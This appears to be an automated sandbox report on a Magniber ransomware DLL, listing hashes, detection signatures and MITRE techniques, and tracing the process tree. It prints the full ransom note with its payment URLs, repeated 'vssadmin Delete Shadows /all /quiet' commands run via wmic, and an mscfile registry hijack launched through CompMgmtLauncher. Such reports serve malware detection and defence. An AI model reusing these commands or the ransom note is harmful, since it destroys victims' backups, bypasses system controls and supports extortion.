magniber | 2b474cca6c5ff5e1d435d91694b4436876901e3be9c63c3a1d76ff3dbc432017

Analysis

max time kernel
143s
max time network
130s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24-12-2023 14:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

009aaaf3b4f3a34b662cb9d27fb4409d.dll
Size

39KB
MD5

009aaaf3b4f3a34b662cb9d27fb4409d
SHA1

ac5bfd05ec67090c4f7180519628328e29f3f39a
SHA256

2b474cca6c5ff5e1d435d91694b4436876901e3be9c63c3a1d76ff3dbc432017
SHA512

50973c3ac2849c8664d74d7efc07fcb0a43260d05030fa7772f135cf716357d522309e70d7ba4ee51cd44ea7a3c711b321221b33ab192ccce6ee71dceb527aea
SSDEEP

768:QJvL0rvzhHm06R0Zd+01mV0kgMazfo269xnWf77/KrkVPe4kQKNNJ7kIGsp9C88K:q0rvzhV6Ra+01Y0dMio39xWDrKrkVm4i

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://2a4422984c4c6cb052sgokwyejx.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/sgokwyejx Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://2a4422984c4c6cb052sgokwyejx.actmake.site/sgokwyejx http://2a4422984c4c6cb052sgokwyejx.bearsat.space/sgokwyejx http://2a4422984c4c6cb052sgokwyejx.mixedon.xyz/sgokwyejx http://2a4422984c4c6cb052sgokwyejx.spiteor.space/sgokwyejx Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://2a4422984c4c6cb052sgokwyejx.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/sgokwyejx

http://2a4422984c4c6cb052sgokwyejx.actmake.site/sgokwyejx

http://2a4422984c4c6cb052sgokwyejx.bearsat.space/sgokwyejx

http://2a4422984c4c6cb052sgokwyejx.mixedon.xyz/sgokwyejx

http://2a4422984c4c6cb052sgokwyejx.spiteor.space/sgokwyejx

Signatures

Detect magniber ransomware 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1848-0-0x0000000001DD0000-0x000000000210A000-memory.dmp	family_magniber
behavioral1/memory/1268-128-0x0000000000450000-0x0000000000454000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.exevssadmin.execmd.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1752	1604	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2444	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1456	1604	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1472	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1656	1604	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2132	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1704	1604	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	1604	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1004	1604	vssadmin.exe	36

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (95) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Suspicious use of SetThreadContext 3 IoCs

Processes:

rundll32.exe

description	pid	Process	procid_target
PID 1848 set thread context of 1268	1848	rundll32.exe	9
PID 1848 set thread context of 1352	1848	rundll32.exe	7
PID 1848 set thread context of 1380	1848	rundll32.exe	6

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
1704	vssadmin.exe
1004	vssadmin.exe
2444	vssadmin.exe
2772	vssadmin.exe
2308	vssadmin.exe
1472	vssadmin.exe
2132	vssadmin.exe
1504	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033b2baa7c38bc34eb000abaaaac06d7800000000020000000000106600000001000020000000a1a9033b6d7965c20a3052610434ed15d48dde8f3f77bdd59ffda750c078f6cf000000000e8000000002000020000000b8bb29e7b234719879e56feb6350969013d7e363524a619193b7a6bc379dace4200000006addd8de9bb2b41970a34b02d0cb1125b005316aa9a4ec8b77317674b41f30b14000000036ede1170533eadcf1e15d11c2f2eeb231ebe221d415131acb8f956231c547aede068ebff4baee376a25bb49f406257fb555774c7e7c4fd5892945b2c6c61c57	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20adbb887736da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033b2baa7c38bc34eb000abaaaac06d7800000000020000000000106600000001000020000000b671cb2453ab2ea1fdfef980dcd8ac19e4617fa7d07a89de32bccbb08e574da2000000000e8000000002000020000000a51f152eaa0a97c117098038c456486de3f1d7d12e94a9802c31576d76639d9890000000b68bbf9be4595f82b00c4ad580b35ecf4dccc4cc884d7a5477b16eaa3dde198f5625854db27c1f40062e98a8ff9a86c9862f952a1fe82253cb74df16904ec9db2eae5f9de44acd1e21b5cf020feca99b25040743a9149fe80aae8a2137b9aeb1043584d0606a1e4df0cd1e35eb1450b11d072451f5369d74d644dc73a2fee12d42a2904b8925f21c2064d28ecedd25aa40000000e79b5a7f3a21d7f396dfcf40e0c7fd11bb33d0aa1942e0299bfaf63cf6018fa296b57bf6280a3c42f95e1a2cdb4736d267053ba8362cada3280efb5267c07327	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B41E0F31-A26A-11EE-8DE0-D691EE3F3902} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "409590836"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies registry class 11 IoCs

Processes:

taskhost.exeExplorer.EXErundll32.exeDwm.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\mscfile\shell\open\command	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
976	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid	Process
1848	rundll32.exe
1848	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

rundll32.exe

pid	Process
1848	rundll32.exe
1848	rundll32.exe
1848	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exeWMIC.exe

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2372	wmic.exe
Token: SeSecurityPrivilege	2372	wmic.exe
Token: SeTakeOwnershipPrivilege	2372	wmic.exe
Token: SeLoadDriverPrivilege	2372	wmic.exe
Token: SeSystemProfilePrivilege	2372	wmic.exe
Token: SeSystemtimePrivilege	2372	wmic.exe
Token: SeProfSingleProcessPrivilege	2372	wmic.exe
Token: SeIncBasePriorityPrivilege	2372	wmic.exe
Token: SeCreatePagefilePrivilege	2372	wmic.exe
Token: SeBackupPrivilege	2372	wmic.exe
Token: SeRestorePrivilege	2372	wmic.exe
Token: SeShutdownPrivilege	2372	wmic.exe
Token: SeDebugPrivilege	2372	wmic.exe
Token: SeSystemEnvironmentPrivilege	2372	wmic.exe
Token: SeRemoteShutdownPrivilege	2372	wmic.exe
Token: SeUndockPrivilege	2372	wmic.exe
Token: SeManageVolumePrivilege	2372	wmic.exe
Token: 33	2372	wmic.exe
Token: 34	2372	wmic.exe
Token: 35	2372	wmic.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeSecurityPrivilege	2020	WMIC.exe
Token: SeTakeOwnershipPrivilege	2020	WMIC.exe
Token: SeLoadDriverPrivilege	2020	WMIC.exe
Token: SeSystemProfilePrivilege	2020	WMIC.exe
Token: SeSystemtimePrivilege	2020	WMIC.exe
Token: SeProfSingleProcessPrivilege	2020	WMIC.exe
Token: SeIncBasePriorityPrivilege	2020	WMIC.exe
Token: SeCreatePagefilePrivilege	2020	WMIC.exe
Token: SeBackupPrivilege	2020	WMIC.exe
Token: SeRestorePrivilege	2020	WMIC.exe
Token: SeShutdownPrivilege	2020	WMIC.exe
Token: SeDebugPrivilege	2020	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2020	WMIC.exe
Token: SeRemoteShutdownPrivilege	2020	WMIC.exe
Token: SeUndockPrivilege	2020	WMIC.exe
Token: SeManageVolumePrivilege	2020	WMIC.exe
Token: 33	2020	WMIC.exe
Token: 34	2020	WMIC.exe
Token: 35	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeSecurityPrivilege	2020	WMIC.exe
Token: SeTakeOwnershipPrivilege	2020	WMIC.exe
Token: SeLoadDriverPrivilege	2020	WMIC.exe
Token: SeSystemProfilePrivilege	2020	WMIC.exe
Token: SeSystemtimePrivilege	2020	WMIC.exe
Token: SeProfSingleProcessPrivilege	2020	WMIC.exe
Token: SeIncBasePriorityPrivilege	2020	WMIC.exe
Token: SeCreatePagefilePrivilege	2020	WMIC.exe
Token: SeBackupPrivilege	2020	WMIC.exe
Token: SeRestorePrivilege	2020	WMIC.exe
Token: SeShutdownPrivilege	2020	WMIC.exe
Token: SeDebugPrivilege	2020	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2020	WMIC.exe
Token: SeRemoteShutdownPrivilege	2020	WMIC.exe
Token: SeUndockPrivilege	2020	WMIC.exe
Token: SeManageVolumePrivilege	2020	WMIC.exe
Token: 33	2020	WMIC.exe
Token: 34	2020	WMIC.exe
Token: 35	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2372	wmic.exe
Token: SeSecurityPrivilege	2372	wmic.exe
Token: SeTakeOwnershipPrivilege	2372	wmic.exe
Token: SeLoadDriverPrivilege	2372	wmic.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid	Process
1236	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1236	iexplore.exe
1236	iexplore.exe
1496	IEXPLORE.EXE
1496	IEXPLORE.EXE
1496	IEXPLORE.EXE
1496	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

taskhost.execmd.execmd.exeCompMgmtLauncher.exeDwm.execmd.execmd.exeCompMgmtLauncher.execmd.exeiexplore.exeExplorer.EXEcmd.execmd.exeCompMgmtLauncher.exerundll32.exe

description	pid	Process	procid_target
PID 1268 wrote to memory of 976	1268	taskhost.exe	28
PID 1268 wrote to memory of 976	1268	taskhost.exe	28
PID 1268 wrote to memory of 976	1268	taskhost.exe	28
PID 1268 wrote to memory of 2076	1268	taskhost.exe	29
PID 1268 wrote to memory of 2076	1268	taskhost.exe	29
PID 1268 wrote to memory of 2076	1268	taskhost.exe	29
PID 1268 wrote to memory of 2372	1268	taskhost.exe	31
PID 1268 wrote to memory of 2372	1268	taskhost.exe	31
PID 1268 wrote to memory of 2372	1268	taskhost.exe	31
PID 1268 wrote to memory of 2972	1268	taskhost.exe	32
PID 1268 wrote to memory of 2972	1268	taskhost.exe	32
PID 1268 wrote to memory of 2972	1268	taskhost.exe	32
PID 2972 wrote to memory of 2020	2972	cmd.exe	35
PID 2972 wrote to memory of 2020	2972	cmd.exe	35
PID 2972 wrote to memory of 2020	2972	cmd.exe	35
PID 1752 wrote to memory of 1916	1752	cmd.exe	41
PID 1752 wrote to memory of 1916	1752	cmd.exe	41
PID 1752 wrote to memory of 1916	1752	cmd.exe	41
PID 1916 wrote to memory of 2080	1916	CompMgmtLauncher.exe	43
PID 1916 wrote to memory of 2080	1916	CompMgmtLauncher.exe	43
PID 1916 wrote to memory of 2080	1916	CompMgmtLauncher.exe	43
PID 1352 wrote to memory of 2704	1352	Dwm.exe	53
PID 1352 wrote to memory of 2704	1352	Dwm.exe	53
PID 1352 wrote to memory of 2704	1352	Dwm.exe	53
PID 1352 wrote to memory of 2352	1352	Dwm.exe	51
PID 1352 wrote to memory of 2352	1352	Dwm.exe	51
PID 1352 wrote to memory of 2352	1352	Dwm.exe	51
PID 2352 wrote to memory of 940	2352	cmd.exe	55
PID 2352 wrote to memory of 940	2352	cmd.exe	55
PID 2352 wrote to memory of 940	2352	cmd.exe	55
PID 1456 wrote to memory of 2400	1456	cmd.exe	60
PID 1456 wrote to memory of 2400	1456	cmd.exe	60
PID 1456 wrote to memory of 2400	1456	cmd.exe	60
PID 2400 wrote to memory of 1696	2400	CompMgmtLauncher.exe	62
PID 2400 wrote to memory of 1696	2400	CompMgmtLauncher.exe	62
PID 2400 wrote to memory of 1696	2400	CompMgmtLauncher.exe	62
PID 2076 wrote to memory of 1236	2076	cmd.exe	63
PID 2076 wrote to memory of 1236	2076	cmd.exe	63
PID 2076 wrote to memory of 1236	2076	cmd.exe	63
PID 1236 wrote to memory of 1496	1236	iexplore.exe	67
PID 1236 wrote to memory of 1496	1236	iexplore.exe	67
PID 1236 wrote to memory of 1496	1236	iexplore.exe	67
PID 1236 wrote to memory of 1496	1236	iexplore.exe	67
PID 1380 wrote to memory of 2636	1380	Explorer.EXE	69
PID 1380 wrote to memory of 2636	1380	Explorer.EXE	69
PID 1380 wrote to memory of 2636	1380	Explorer.EXE	69
PID 1380 wrote to memory of 2664	1380	Explorer.EXE	70
PID 1380 wrote to memory of 2664	1380	Explorer.EXE	70
PID 1380 wrote to memory of 2664	1380	Explorer.EXE	70
PID 2664 wrote to memory of 2488	2664	cmd.exe	73
PID 2664 wrote to memory of 2488	2664	cmd.exe	73
PID 2664 wrote to memory of 2488	2664	cmd.exe	73
PID 1656 wrote to memory of 2600	1656	cmd.exe	78
PID 1656 wrote to memory of 2600	1656	cmd.exe	78
PID 1656 wrote to memory of 2600	1656	cmd.exe	78
PID 2600 wrote to memory of 208	2600	CompMgmtLauncher.exe	79
PID 2600 wrote to memory of 208	2600	CompMgmtLauncher.exe	79
PID 2600 wrote to memory of 208	2600	CompMgmtLauncher.exe	79
PID 1848 wrote to memory of 944	1848	rundll32.exe	83
PID 1848 wrote to memory of 944	1848	rundll32.exe	83
PID 1848 wrote to memory of 944	1848	rundll32.exe	83
PID 1848 wrote to memory of 2732	1848	rundll32.exe	84
PID 1848 wrote to memory of 2732	1848	rundll32.exe	84
PID 1848 wrote to memory of 2732	1848	rundll32.exe	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\009aaaf3b4f3a34b662cb9d27fb4409d.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:2732
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1240
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2636
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2488

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:940
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2704

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:976
- C:\Windows\system32\cmd.exe
  cmd /c "start http://2a4422984c4c6cb052sgokwyejx.actmake.site/sgokwyejx^&2^&39380732^&95^&373^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://2a4422984c4c6cb052sgokwyejx.actmake.site/sgokwyejx&2&39380732&95&373&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1236 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1496
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2020

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2080

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2444

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2120

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2772

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1696

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2308

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1472

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\wbem\wmic.exe
